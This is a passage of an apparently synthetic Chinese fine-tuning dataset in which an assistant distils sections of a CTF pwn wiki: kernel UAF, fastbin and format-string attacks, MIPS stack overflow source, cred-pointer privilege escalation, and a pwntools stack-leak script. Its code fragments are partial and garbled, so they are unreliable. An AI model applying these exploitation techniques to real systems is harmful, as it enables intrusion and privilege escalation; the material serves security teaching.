"split": "train", "split_group_key": "ac29ebcc9070669cb838f558", "subcategory": "pwn/linux/user-mode", "terms": ["UAF", "堆", "AI安全", "漏洞利用", "pwn", "linux", "user-mode", "heap"], "title": "Unsorted Bin Attack"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/unsorted-bin-attack.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-8431fda72bdaa068b119", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/kernel-mode/exploitation/heap/slub/uaf.md` 中的章节「kernel UAF」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/kernel-mode/exploitation/heap/slub/uaf.md`\n标题：kernel UAF\n章节：kernel UAF\n路径分类：pwn / pwn/linux/kernel-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“kernel UAF”展开。\n- UAF 即 Use After Free，通常指的是对于释放后未重置的垂悬指针的利用，此前在用户态下的 heap 阶段对于 ptmalloc 的利用很多都是基于UAF漏洞进行进一步的利用。\n- 在 CTF 当中，内核的“堆内存”主要指的是直接映射区（direct mapping area），常用的分配函数 kmalloc 从此处分配内存，常用的分配器为 slub allocator，若是在 kernel 中存在着垂悬指针，我们同样可以以此完成对 slab/slub 内存分配器的利用，通过 Kernel UAF 完成提权。\n\n关键术语：\n- UAF\n- 堆\n- 漏洞利用\n- pwn\n- linux\n- kernel-mode\n- exploitation\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 266, "chunk_count": 1, "chunk_index": 0, "ctf_score": 30, "ctf_task_type": "pwn", "heading": "kernel UAF", "heading_path": ["kernel UAF"], "original_id": "docs-570103b0b8a9d809d40b", "original_line": 773, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/exploitation/heap/slub/uaf.md", "source_root": "docs", "source_sha256": "8e6b9adbb421820e0d460522b874c1fb80d883af40c04dfc833c137f2c35fa9f", "split": "train", "split_group_key": "7e88fa8b7a5c6b4a2cfb42c1", "subcategory": "pwn/linux/kernel-mode", "terms": ["UAF", "堆", "漏洞利用", "pwn", "linux", "kernel-mode", "exploitation"], "title": "kernel UAF"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/exploitation/heap/slub/uaf.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-8475e5eafe0ba7fe8b96", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/stackoverflow/mips/rop.md` 中的章节「2 DVRF stack_bof_02.c」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/stackoverflow/mips/rop.md`\n标题：mips - ROP\n章节：mips - ROP > 题目 > 2 DVRF stack_bof_02.c\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“2 DVRF stack_bof_02.c”展开。\n- 题目源码如下 ``c #include  #include  #include  //Simple BoF by b1ack0wl for E1550 //Shellcode is Required int main(int argc, char *argv[]){ char buf[500] =\"\\0\";\n- if (argc < 2){ printf(\"Usage: stack_bof_01 \\r\\n-By b1ack0wl\\r\\n\");\n- printf(\"Try Again\\r\\n\");\n- } ` 安装交叉编译工具 `bash sudo apt-get update sudo apt-get install binutils-mipsel-linux-gnu sudo apt-get install gcc-mipsel-linux-gnu ` 编译上面的源码 `bash mipsel-linux-gnu-gcc -fno-stack-protector stack_bof_02.c -o stack_bof_02 ` 程序保护 [图片: image-20201028025116416;\n- 文件: https://sw-blog.oss-cn-hongkong.aliyuncs.com/img/20201028025118.png] 代码逻辑很简单，在 strcpy 的地方有一处栈溢出。\n\n关键术语：\n- 边界/溢出\n- 栈\n- ROP/JOP\n- AI安全\n- 漏洞利用\n- pwn\n- linux\n- user-mode\n- stackoverflow\n- code:c\n- code:bash\n\n代码/命令片段线索：\n- c: 17 行，首行 `#include `\n- bash: 3 行，首行 `sudo apt-get update`\n- bash: 1 行，首行 `mipsel-linux-gnu-gcc -fno-stack-protector stack_bof_02.c -o stack_bof_02`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 1308, "chunk_count": 1, "chunk_index": 0, "ctf_score": 28, "ctf_task_type": "pwn", "heading": "2 DVRF stack_bof_02.c", "heading_path": ["mips - ROP", "题目", "2 DVRF stack_bof_02.c"], "original_id": "docs-b38194620aeb428c0852", "original_line": 1240, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/stackoverflow/mips/rop.md", "source_root": "docs", "source_sha256": "a60db714f9f9eeeed711316b4fed592f38bc0a546e6346e373edf68f83a6b81d", "split": "train", "split_group_key": "a8b30d71dc372c7ae42c33f2", "subcategory": "pwn/linux/user-mode", "terms": ["边界/溢出", "栈", "ROP/JOP", "AI安全", "漏洞利用", "pwn", "linux", "user-mode", "stackoverflow", "code:c", "code:bash"], "title": "mips - ROP"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/stackoverflow/mips/rop.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-84b3d0a0b162df0d0227", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/heap/ptmalloc2/fastbin-attack.md` 中的章节「演示」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/fastbin-attack.md`\n标题：Fastbin Attack\n章节：Fastbin Attack > Arbitrary Alloc > 演示\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“演示”展开。\n- `` int main(void) { void chunk1;\n- 最后经过两次分配可以观察到 chunk 被分配到 0x7ffff7dd1afd，因此我们就可以直接控制 __malloc_hook的内容(在我的libc中__realloc_hook与__malloc_hook是在连在一起的)。\n- } ` 这里的0x7ffff7dd1af5是我根据本机的情况得出的值，这个值是怎么获得的呢？\n- 首先我们要观察欲写入地址附近是否存在可以字节错位的情况。\n- `c ##define fastbin_index(sz) \\ ((((unsigned int) (sz)) >> (SIZE_SZ == 8 ?\n\n关键术语：\n- 堆\n- AI安全\n- 漏洞利用\n- pwn\n- linux\n- user-mode\n- heap\n- code:c\n\n代码/命令片段线索：\n- plain: 11 行，首行 `int main(void)`\n- plain: 18 行，首行 `0x7ffff7dd1a88 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0`\n- plain: 8 行，首行 `//这里的size指用户区域，因此要小2倍SIZE_SZ`\n- plain: 3 行，首行 `0x7ffff7dd1af0 0x60 0x2 0xdd 0xf7 0xff 0x7f 0x0 0x0`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 2559, "chunk_count": 1, "chunk_index": 0, "ctf_score": 26, "ctf_task_type": "pwn", "heading": "演示", "heading_path": ["Fastbin Attack", "Arbitrary Alloc", "演示"], "original_id": "docs-10cee67a7c06874d775d", "original_line": 923, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/fastbin-attack.md", "source_root": "docs", "source_sha256": "64df048b597ef6437905e6df1f5ef5b90fc06f950d7e5cb40681b923ec3ce15a", "split": "train", "split_group_key": "3fac6d93b3852069d43aca0e", "subcategory": "pwn/linux/user-mode", "terms": ["堆", "AI安全", "漏洞利用", "pwn", "linux", "user-mode", "heap", "code:c"], "title": "Fastbin Attack"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/fastbin-attack.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-84e8a7ed8ffd8a394afa", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/kernel-mode/environment/qemu-emulate.md` 中的章节「调试建议」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/kernel-mode/environment/qemu-emulate.md`\n标题：搭建内核运行环境\n章节：dmesg | grep a3kmod > 调试分析 > 调试建议\n路径分类：pwn / pwn/linux/kernel-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“调试建议”展开。\n- 为了方便调试，我们可以使用 root 用户启动 shell，即修改 init 脚本中对应的代码： ``diff - su ctf -c sh + su root -c sh ` 此外，我们还可以在启动时，指定内核关闭随机化： `bash #!\n- /bin/sh qemu-system-x86_64 \\ -m 128M \\ -kernel ./bzImage \\ -hda ./rootfs.img \\ -monitor /dev/null \\ -append \"root=/dev/sda rw rdinit=/sbin/init console=ttyS0 oops=panic panic=1 loglevel=3 quiet nokaslr\" \\ -cpu kvm64,+smep \\ -smp cores=2,threads=1 \\ -nograph...\n\n关键术语：\n- pwn\n- linux\n- kernel-mode\n- environment\n- code:diff\n- code:bash\n\n代码/命令片段线索：\n- diff: 2 行，首行 `- su ctf -c sh`\n- bash: 11 行，首行 `#!/bin/sh`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 406, "chunk_count": 1, "chunk_index": 0, "ctf_score": 28, "ctf_task_type": "pwn", "heading": "调试建议", "heading_path": ["dmesg | grep a3kmod", "调试分析", "调试建议"], "original_id": "docs-d7323827a7e7efcd04c1", "original_line": 712, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/environment/qemu-emulate.md", "source_root": "docs", "source_sha256": "2fa691a5b11d1005a314edb20f4c495317ae5eae73c85043729f5edb33b5ef31", "split": "train", "split_group_key": "0fd7103d6a5dbaa9c9781240", "subcategory": "pwn/linux/kernel-mode", "terms": ["pwn", "linux", "kernel-mode", "environment", "code:diff", "code:bash"], "title": "搭建内核运行环境"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/environment/qemu-emulate.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-84eca28232cc1d50c6d1", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/heap/ptmalloc2/heap-overview.md` 中的章节「free」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/heap-overview.md`\n标题：堆概述\n章节：堆概述 > 堆的基本操作 > free\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- Unless disabled (using mallopt), freeing very large spaces will when possible, automatically trigger operations that give back unused memory to the system, thus reducing program footprint. */ ` 可以看出，free 函数会释放由 p 所指向的内存块。\n- 在 glibc 的 malloc.c 中，free 的说明如下 ``c++ / free(void p) Releases the chunk of memory pointed to by p, that had been previously allocated using malloc or a related routine such as realloc.\n- 当 p 已经被释放之后，再次释放会出现乱七八糟的效果，这其实就是 double free`。\n- 除了被禁用 (mallopt) 的情况下，当释放很大的内存空间时，程序会将这些内存空间还给系统，以便于减小程序所使用的内存空间。\n- It can have arbitrary (i.e., bad!\n- ) effects if p has already been freed.\n\n关键术语：\n- 堆\n- pwn\n- linux\n- user-mode\n- heap\n- code:c++\n\n代码/命令片段线索：\n- c++: 10 行，首行 `/*`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 810, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "pwn", "heading": "free", "heading_path": ["堆概述", "堆的基本操作", "free"], "original_id": "docs-4ab86d8b390808457cf5", "original_line": 943, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/heap-overview.md", "source_root": "docs", "source_sha256": "c5b7b2772fccb400c1608947df02ea8ba5de03c3aabfe029fcff194c119d8375", "split": "train", "split_group_key": "6f599f66f354e43e91225749", "subcategory": "pwn/linux/user-mode", "terms": ["堆", "pwn", "linux", "user-mode", "heap", "code:c++"], "title": "堆概述"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/heap-overview.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-8526f28a32525fd7b4c2", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/kernel-mode/aim/privilege-escalation/change-self.md` 中的章节「common」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/kernel-mode/aim/privilege-escalation/change-self.md`\n标题：Change Self\n章节：Change Self > 修改 cred 指针 > 定位具体位置 > 定位 > 间接定位 > common\n路径分类：pwn / pwn/linux/kernel-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“common”展开。\n- 我们可以发现 comm 其实在 cred 指针的正下方，所以我们也可以先定位 comm ，然后定位 cred 指针的地址。\n- 因此，我们可以使用 prctl 设置进程的 comm 为一个特殊的字符串，然后再开始定位 comm。\n- ``c / Process credentials: / / Tracer's credentials at attach: / const struct cred __rcu ptracer_cred;\n- / Objective and real subjective task credentials (COW): / const struct cred __rcu real_cred;\n- / Effective (overridable) subjective task credentials (COW): / const struct cred __rcu cred;\n\n关键术语：\n- AI安全\n- pwn\n- linux\n- kernel-mode\n- aim\n- code:c\n\n代码/命令片段线索：\n- c: 19 行，首行 `/* Process credentials: */`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 797, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "pwn", "heading": "common", "heading_path": ["Change Self", "修改 cred 指针", "定位具体位置", "定位", "间接定位", "common"], "original_id": "docs-6b3b7a073370a04e36dd", "original_line": 666, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/aim/privilege-escalation/change-self.md", "source_root": "docs", "source_sha256": "d1cfeb5ddd01e316391d6982c05f447b84f57f808d2581f0482d9ade31e9e252", "split": "train", "split_group_key": "6659d5d6c480e414d6177251", "subcategory": "pwn/linux/kernel-mode", "terms": ["AI安全", "pwn", "linux", "kernel-mode", "aim", "code:c"], "title": "Change Self"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/aim/privilege-escalation/change-self.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-854471f92841c6a71427", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/fmtstr/fmtstr-example.md` 中的章节「利用」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/fmtstr/fmtstr-example.md`\n标题：例子\n章节：例子 > 格式化字符串盲打 > 例子1-泄露栈 > 利用\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“利用”展开。\n- ```python from pwn import * context.log_level = 'error'\n- def leak(payload): sh = remote('127.0.0.1', 9999) sh.sendline(payload) data = sh.recvuntil('\\n', drop=True) if data.startswith('0x'): print p64(int(data, 16)) sh.close()\n- i = 1 while 1: payload = '%{}$p'.format(i) leak(payload) i += 1\n- ``shell //////// //////// \\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xff [FLAG_PREFIX]thi s_is_fla g}\\x00\\x00\\x00\\x00\\x00\\x00 \\x00\\x00\\x00\\x00\\xfe\\x7f\\x00\\x00 ``\n\n关键术语：\n- ROP/JOP\n- 漏洞利用\n- pwn\n- linux\n- user-mode\n- fmtstr\n- code:python\n- code:shell\n\n代码/命令片段线索：\n- python: 14 行，首行 `from pwn import *`\n- shell: 7 行，首行 `////////`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 493, "chunk_count": 1, "chunk_index": 0, "ctf_score": 30, "ctf_task_type": "pwn", "heading": "利用", "heading_path": ["例子", "格式化字符串盲打", "例子1-泄露栈", "利用"], "original_id": "docs-8619fdab3a9b42d45f6b", "original_line": 878, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/fmtstr/fmtstr-example.md", "source_root": "docs", "source_sha256": "d526df47868271160568cb01971c9633d988d9cb048751897540a339b9e018a0", "split": "train", "split_group_key": "8890643b5cf8de4f238fca89", "subcategory": "pwn/linux/user-mode", "terms": ["ROP/JOP", "漏洞利用", "pwn", "linux", "user-mode", "fmtstr", "code:python", "code:shell"], "title": "例子"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/fmtstr/fmtstr-example.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-856a2ffb1d3078a9a736", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md` 中的章节「rop.raw('\\x00'*(256-len(rop.chain())))」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md`\n标题：ret2dlresolve\n章节：rop.raw('\\x00'*(256-len(rop.chain())))\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“rop.raw('\\x00'*(256-len(rop.chain())))”展开。\n- (maybe check /proc/sys/kernel/yama/ptrace_scope) [] Loaded 14 cached gadgets for './main_partial_relro_64' 0x7f0d01125170 [] Switching to interactive mode $ whoami iromise ``\n\n关键术语：\n- 边界/溢出\n- 栈\n- ROP/JOP\n- AI安全\n- 漏洞利用\n- pwn\n- linux\n- user-mode\n- stackoverflow\n\n代码/命令片段线索：\n- plain: 1 行，首行 `这时候即可利用成功`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 677, "chunk_count": 1, "chunk_index": 0, "ctf_score": 26, "ctf_task_type": "pwn", "heading": "rop.raw('\\x00'*(256-len(rop.chain())))", "heading_path": ["rop.raw('\\x00'*(256-len(rop.chain())))"], "original_id": "docs-9ea472ad2339721270e1", "original_line": 1365, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md", "source_root": "docs", "source_sha256": "2e19134d3375fa37fb3e560ae4b2109f6d74f32723e63394ef57aadfc89c451a", "split": "train", "split_group_key": "7175129c4f1ce7e061cfecc4", "subcategory": "pwn/linux/user-mode", "terms": ["边界/溢出", "栈", "ROP/JOP", "AI安全", "漏洞利用", "pwn", "linux", "user-mode", "stackoverflow"], "title": "ret2dlresolve"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-85f6b8706279cf3195fd", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/kernel-mode/environment/qemu-emulate.md` 中的章节「启动内核」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/kernel-mode/environment/qemu-emulate.md`\n标题：搭建内核运行环境\n章节：搭建内核运行环境 > 启动内核\n路径分类：pwn / pwn/linux/kernel-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“启动内核”展开。\n- 我们可以直接使用下面的脚本来启动 Linux 内核： ``bash #!\n- kaslr：开启内核地址随机化，你也可以改为 nokaslr 进行关闭以方便我们进行调试。\n- s：相当于-gdb tcp::1234的简写（也可以直接这么写），后续我们可以通过gdb连接本地端口进行调试。\n- append：我们修改了 root=/dev/ram ，因为我们使用的是 initramfs ，所以文件系统位于内存中，因此我们需要将根文件系统路径变为内存设备。\n- 此外，在没有设置 monitor 为 /dev/null 时，我们可以先按一次 CTRL + A、再按一次 C 来进入 QEMU monitor，可以看到 monitor 提供了很多有用的命令。\n\n关键术语：\n- pwn\n- linux\n- kernel-mode\n- environment\n- code:bash\n\n代码/命令片段线索：\n- bash: 12 行，首行 `#!/bin/sh`\n- bash: 12 行，首行 `#!/bin/sh`\n- bash: 12 行，首行 `#!/bin/sh`\n- bash: 8 行，首行 `~ $ QEMU 9.1.2 monitor - type 'help' for more information`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 2663, "chunk_count": 1, "chunk_index": 0, "ctf_score": 26, "ctf_task_type": "pwn", "heading": "启动内核", "heading_path": ["搭建内核运行环境", "启动内核"], "original_id": "docs-a966678965195357fb00", "original_line": 710, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/environment/qemu-emulate.md", "source_root": "docs", "source_sha256": "2fa691a5b11d1005a314edb20f4c495317ae5eae73c85043729f5edb33b5ef31", "split": "train", "split_group_key": "4ccb46b8c2ee714a1064493a", "subcategory": "pwn/linux/kernel-mode", "terms": ["pwn", "linux", "kernel-mode", "environment", "code:bash"], "title": "搭建内核运行环境"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/environment/qemu-emulate.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-860f45c314b551d7758d", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/fmtstr/fmtstr-exploit.md` 中的章节「进行覆盖」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/fmtstr/fmtstr-exploit.md`\n标题：利用\n章节：利用 > 覆盖内存 > 覆盖栈内存 > 进行覆盖\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“进行覆盖”展开。\n- payload如下 ``text [addr of c]%012d%6$n ` addr of c 的长度为4，故而我们得再输入12个字符才可以达到16个字符，以便于来修改c的值为16。\n- 这样，第6个参数处的值就是存储变量c的地址，我们便可以利用%n的特征来修改c的值。\n\n关键术语：\n- ROP/JOP\n- 漏洞利用\n- pwn\n- linux\n- user-mode\n- fmtstr\n- code:text\n- code:python\n- code:shell\n\n代码/命令片段线索：\n- text: 1 行，首行 `[addr of c]%012d%6$n`\n- python: 11 行，首行 `def forc():`\n- shell: 5 行，首行 `➜ overwrite git:(master) ✗ python exploit.py`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 578, "chunk_count": 1, "chunk_index": 0, "ctf_score": 30, "ctf_task_type": "pwn", "heading": "进行覆盖", "heading_path": ["利用", "覆盖内存", "覆盖栈内存", "进行覆盖"], "original_id": "docs-8fa74c3206731c198828", "original_line": 895, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/fmtstr/fmtstr-exploit.md", "source_root": "docs", "source_sha256": "040fbecb96f4b30ec8b6ecd0a6bc6afea827abf093eada8b549d44dab3c550e7", "split": "train", "split_group_key": "40e44ddaaf72c74c2085626b", "subcategory": "pwn/linux/user-mode", "terms": ["ROP/JOP", "漏洞利用", "pwn", "linux", "user-mode", "fmtstr", "code:text", "code:python", "code:shell"], "title": "利用"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/fmtstr/fmtstr-exploit.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-861a4d842d197809a3a4", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/browser/chrome/js-engine/v8.md` 中的章节「V8 Engine Intro」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/browser/chrome/js-engine/v8.md`\n标题：V8 Engine Intro\n章节：V8 Engine Intro\n路径分类：pwn / pwn/browser/chrome\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“V8 Engine Intro”展开。\n- Chromium 使用的 JS 引擎叫 V8 ，这是一个 Google 开发的开源的使用 C++ 编写的 JavaScript 与 WebAssembly 引擎，其实现了 ECMAScript 与 WebAssembly ，且能在 X64、IA-32、ARM 架构的 Windows、macOS、Linux 系统上运行。\n\n关键术语：\n- pwn\n- browser\n- chrome\n- js-engine\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 1012, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "pwn", "heading": "V8 Engine Intro", "heading_path": ["V8 Engine Intro"], "original_id": "docs-28896eac332e1935edb3", "original_line": 631, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/browser/chrome/js-engine/v8.md", "source_root": "docs", "source_sha256": "169e47f9ecb775c90a1b2d63ab06f2620027a3e063940944f5ec53473c27ba0b", "split": "train", "split_group_key": "f6e565127d3788e0bf07458f", "subcategory": "pwn/browser/chrome", "terms": ["pwn", "browser", "chrome", "js-engine"], "title": "V8 Engine Intro"}, "source_dataset": "docs_distilled_v1", "source_path": 